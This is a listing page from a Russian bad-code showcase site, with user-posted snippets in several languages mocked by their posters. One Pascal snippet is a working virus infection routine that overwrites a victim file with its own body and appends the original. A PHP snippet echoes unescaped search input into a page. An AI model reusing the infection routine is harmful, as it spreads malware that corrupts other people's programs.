1. Лучший говнокод

    В номинации:
    За время:
  2. C++ / Говнокод #23498

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    // https://github.com/telegramdesktop/tdesktop/blob/5f5770dd46491133b135a71fc2d4f92d13107ade/Telegram/SourceFiles/history.cpp#L1455
    
    int History::countUnread(MsgId upTo) {
    	int result = 0;
    	for (auto i = blocks.cend(), e = blocks.cbegin(); i != e;) {
    		--i;
    		for (auto j = (*i)->items.cend(), en = (*i)->items.cbegin(); j != en;) {
    			--j;
    			if ((*j)->id > 0 && (*j)->id <= upTo) {
    				break;
    			} else if (!(*j)->out() && (*j)->unread() && (*j)->id > upTo) {
    				++result;
    			}
    		}
    	}
    	return result;
    }
    
    void History::updateShowFrom() {
    	if (showFrom) return;
    
    	for (auto i = blocks.cend(); i != blocks.cbegin();) {
    		--i;
    		for (auto j = (*i)->items.cend(); j != (*i)->items.cbegin();) {
    			--j;
    			if ((*j)->id > 0 && (!(*j)->out() || !showFrom)) {
    				if ((*j)->id >= inboxReadBefore) {
    					showFrom = *j;
    				} else {
    					return;
    				}
    			}
    		}
    	}
    }

    очередная порция говнеца из телесрамного клиента

    j123123, 07 Ноября 2017

    Комментарии (119)
  3. C++ / Говнокод #14804

    +36

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    #include <iostream>
    #include <cmath> 
    
    struct Point3D
    {
            float x,y,z;
            Point3D () {}
            Point3D (float x, float y, float z) : x(x), y(y), z(z) {}
            Point3D& operator -= (const Point3D& p) { x-=p.x; y-=p.y; z-=p.z; return *this; }
            Point3D operator - (const Point3D& p) const { Point3D p2(*this); return (p2-=p); }
            Point3D& operator *= (const float f) { x*=f; y*=f; z*=f; return *this; }
            Point3D operator * (const float f) const { Point3D p2(*this); return (p2*=f); }
    };
    
    float Dot (const Point3D& p1, const Point3D& p2) { return p1.x*p2.x + p1.y*p2.y + p1.z*p2.z; }
    
    struct Face
    {
            Point3D            n;
            float              nc;
            float Dist (const Point3D& p) const { return Dot(p,n)-nc; }
    };
    
    int show_float(float src)
    {
            union
            {
                    int i;
                    float f;
            } u;
            u.f = src;
            return u.i;
    }
    
    float from_int(int src)
    {
            union
            {
                    int i;
                    float f;
            } u;
            u.i = src;
            return u.f;
    }
    
    template<typename T>
    T& operator<<(T& str, const Point3D& p)
    {
            str << std::hex << "Point3D(from_int(0x" << show_float(p.x) << "), from_int(0x" << show_float(p.y) << "), from_int(0x" << show_float(p.z) << "))";
            return str;
    }
    
    struct SPoint
    {
            Point3D p;
            bool DoCorrectFace(const Face& face)
            {
                    bool correct = true;
                    float j=1.0f;
                    Point3D np=p;
                    for (;;)
                    {
                            float ad = face.Dist(np);
                            if (ad<=0.0f)
                                    break;
                            correct=false;
                            np = p - (face.n*(ad*j));
                            j += 1.0f;
                    }
                    p=np;
                    return correct;
            }
    }; 
    
    using namespace std;
    int main()
    {
            cout << "Hello World!" << endl;
            SPoint spoint;
            spoint.p = Point3D(from_int(0x41c6940e), from_int(0x427352a6), from_int(0xc166e2d0));
            cout << "Initial p:" << endl;
            cout << spoint.p << endl;
            cout << "Corrected:" << endl;
    
            Face f;
            f.n = Point3D(from_int(0x3d6cc83b), from_int(0x3f0e8841), from_int(0x3f5422bd));
            f.nc = from_int(0x41bac3dc); 
    
            bool result = spoint.DoCorrectFace(f);
            cout << spoint.p << endl;
            cout << "Done: " << result << endl;
            return 0;
    }

    говно в gcc
    g++ (rev5, Built by MinGW-W64 project) 4.8.1
    вывод в -O2 -DNDEBUG :

    Hello World!
    Initial p:
    Point3D(from_int(0x41c6940e), from_int(0x427352a6), from_int(0xc166e2d0))
    Corrected:
    Point3D(from_int(0x41c6940e), from_int(0x427352a6), from_int(0xc166e2d1))
    Done: 0

    вывод в -O3 -DNDEBUG:

    Hello World!
    Initial p:
    Point3D(from_int(0x41c6940e), from_int(0x427352a6), from_int(0xc166e2d0))
    Corrected:
    Point3D(from_int(0x41c6940e), from_int(0x427352a6), from_int(0xc166e2d0))
    Done: 0

    внимание вопрос: может ли быть такое, что DoCorrectFace не изменил точку ни на бит, но вернул false? В gcc может!

    TarasB, 23 Февраля 2014

    Комментарии (119)
  4. PHP / Говнокод #13569

    +162

    1. 1
    if(count($pacients)>-1) {

    зачем так сложно писать if(true) ? да и зачем вообще..

    shitcoder, 08 Августа 2013

    Комментарии (119)
  5. C# / Говнокод #12800

    +142

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    protected static long chr2hex(char a)
    {
        switch (a)
        {
            case '0':
                return 0L;
            ...................
            case '9':
                return 9L;
            case 'A':
            case 'a':
                return 10L;
            .....................
            case 'F':
            case 'f':
                return 15L;
        }
        return 0L;
    }

    Как же это бесит, бля...

    grobotron, 25 Марта 2013

    Комментарии (119)
  6. C++ / Говнокод #5701

    +171

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    #include <iostream>
    
    template <int n>
    struct Solution
    {
      static const int count = Solution<n / 10>::count + 1;
      static const int sum = Solution<n / 10>::sum + n % 10;
      static const int last = n % 10;
      static const int first = Solution<n / 10>::first;
    };
    
    #define DECLARE_ONE_DIGIT_SOLUTION(n) template <>\
                                          struct Solution<n>\
                                          {\
                                            static const int count = 1;\
                                            static const int sum = n;\
                                            static const int last = n;\
                                            static const int first = n;\
                                          };
    
    DECLARE_ONE_DIGIT_SOLUTION(0)
    DECLARE_ONE_DIGIT_SOLUTION(1)
    DECLARE_ONE_DIGIT_SOLUTION(2)
    DECLARE_ONE_DIGIT_SOLUTION(3)
    DECLARE_ONE_DIGIT_SOLUTION(4)
    DECLARE_ONE_DIGIT_SOLUTION(5)
    DECLARE_ONE_DIGIT_SOLUTION(6)
    DECLARE_ONE_DIGIT_SOLUTION(7)
    DECLARE_ONE_DIGIT_SOLUTION(8)
    DECLARE_ONE_DIGIT_SOLUTION(9)
    
    int main()
    {
      const int number = 1024; // <-- то самое число a
    
      std::cout << "Number of digits: " << Solution<number>::count << std::endl;
      std::cout << "Sum: " << Solution<number>::sum << std::endl;
      std::cout << "Last digit: " << Solution<number>::last << std::endl;
      std::cout << "First digit: " << Solution<number>::first << std::endl;
    
      return 0;
    }

    Это один из ответов к слезной просьбе какого-то школьника (студента) выполнить за него д/з на С++ в разделе development форума на ЛОРе. Такую программу нарочно хрен напишешь.

    Само задание: «Дано натуральное число а (a≤100). Напишите программу, определяющую количество цифр в этом числе, сумму его цифр, выводящую на экран первую и последнюю цифру через два пробела».

    deniska, 16 Февраля 2011

    Комментарии (119)
  7. PHP / Говнокод #26418

    +4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    if ($input->search_text!=""){
    		if ($input->search_text=="хуйня" or $input->search_text=="ХУЙНЯ" or $input->search_text=="Хуйня")
    			$this->result.="У нас серьезная компания и мы всякой хуйни на сайте не держим.";
    		else{
    		if (strlen($input->search_text)<2)
    			$this->result.="Строка поискового запроса должна состоять минимум из 2 символов.<br>Пожалуйста, измените Ваш запрос и повторите поиск.";
    		else{
    			$result.="Вы искали: <u><b>".$input->search_text."</b></u><br><br>";

    Вот такие вот пасхалки у серьёзных компаний. И такой код.

    vistefan, 07 Февраля 2020

    Комментарии (118)
  8. Python / Говнокод #24306

    +1

    1. 1
    2. 2
    In [42]: os.path.join(r'c:\asd', r'c:\www')
    Out[42]: 'c:\\www'

    Нахуя???

    syoma, 23 Мая 2018

    Комментарии (118)
  9. Java / Говнокод #15809

    +64

    1. 1
    short someShort = (short) (someBoolean ? 15 : 42);

    такая удобная Java

    evg_ever, 21 Апреля 2014

    Комментарии (118)
  10. Pascal / Говнокод #15557

    +89

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    procedure infect(victim:string);
    var
    a:integer;
    
    Buf: array[1..virsize] of byte;
    nr,nw:longint;
    begin
    try
    randomize;
    assignfile(f1,victim);
    a:=random(200);
    rename(f1,'bad'+inttostr(a)) ;
    filemode :=0;
    assignfile(f2,paramstr(0));
    reset(f2,1) ;
    seek(f2,0);
    blockread(f2,buf,virsize);
    filemode:=2 ;
    closefile(f2);
    assignfile(f1,victim);
    rewrite(f1,1);
    blockwrite(f1,buf,virsize);
    assignfile(f2,'bad'+inttostr(a));
    reset(f2,1);
    seek(f2,0);
    repeat
    BlockRead(f2, Buf,virsize, NR);
    BlockWrite(f1, Buf, NR, NW);
    until (NR = 0) or (NW <> NR);
    closefile(f1);
    closefile(f2);
    deletefile(pchar('bad'+inttostr(a)))
    except
    end;
    end;

    Ксакеп, нуфф сказал.
    http://www.xakep.ru/post/23374/

    gost, 23 Марта 2014

    Комментарии (118)
  11. Pascal / Говнокод #14442

    +81

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    procedure tmythread.execute;
      procedure fillmemo;
      begin
        form1.memo1.lines.add('Some string');
      end;
    begin
      synchronize(fillmemo); //[Error] Unit1.pas(54): There is no overloaded version of 'Synchronize' that can be called with these arguments
    end;

    Почему нельзя сделать вещи, сделанные "через анус", еще более "через анус"?

    Stertor, 29 Января 2014

    Комментарии (118)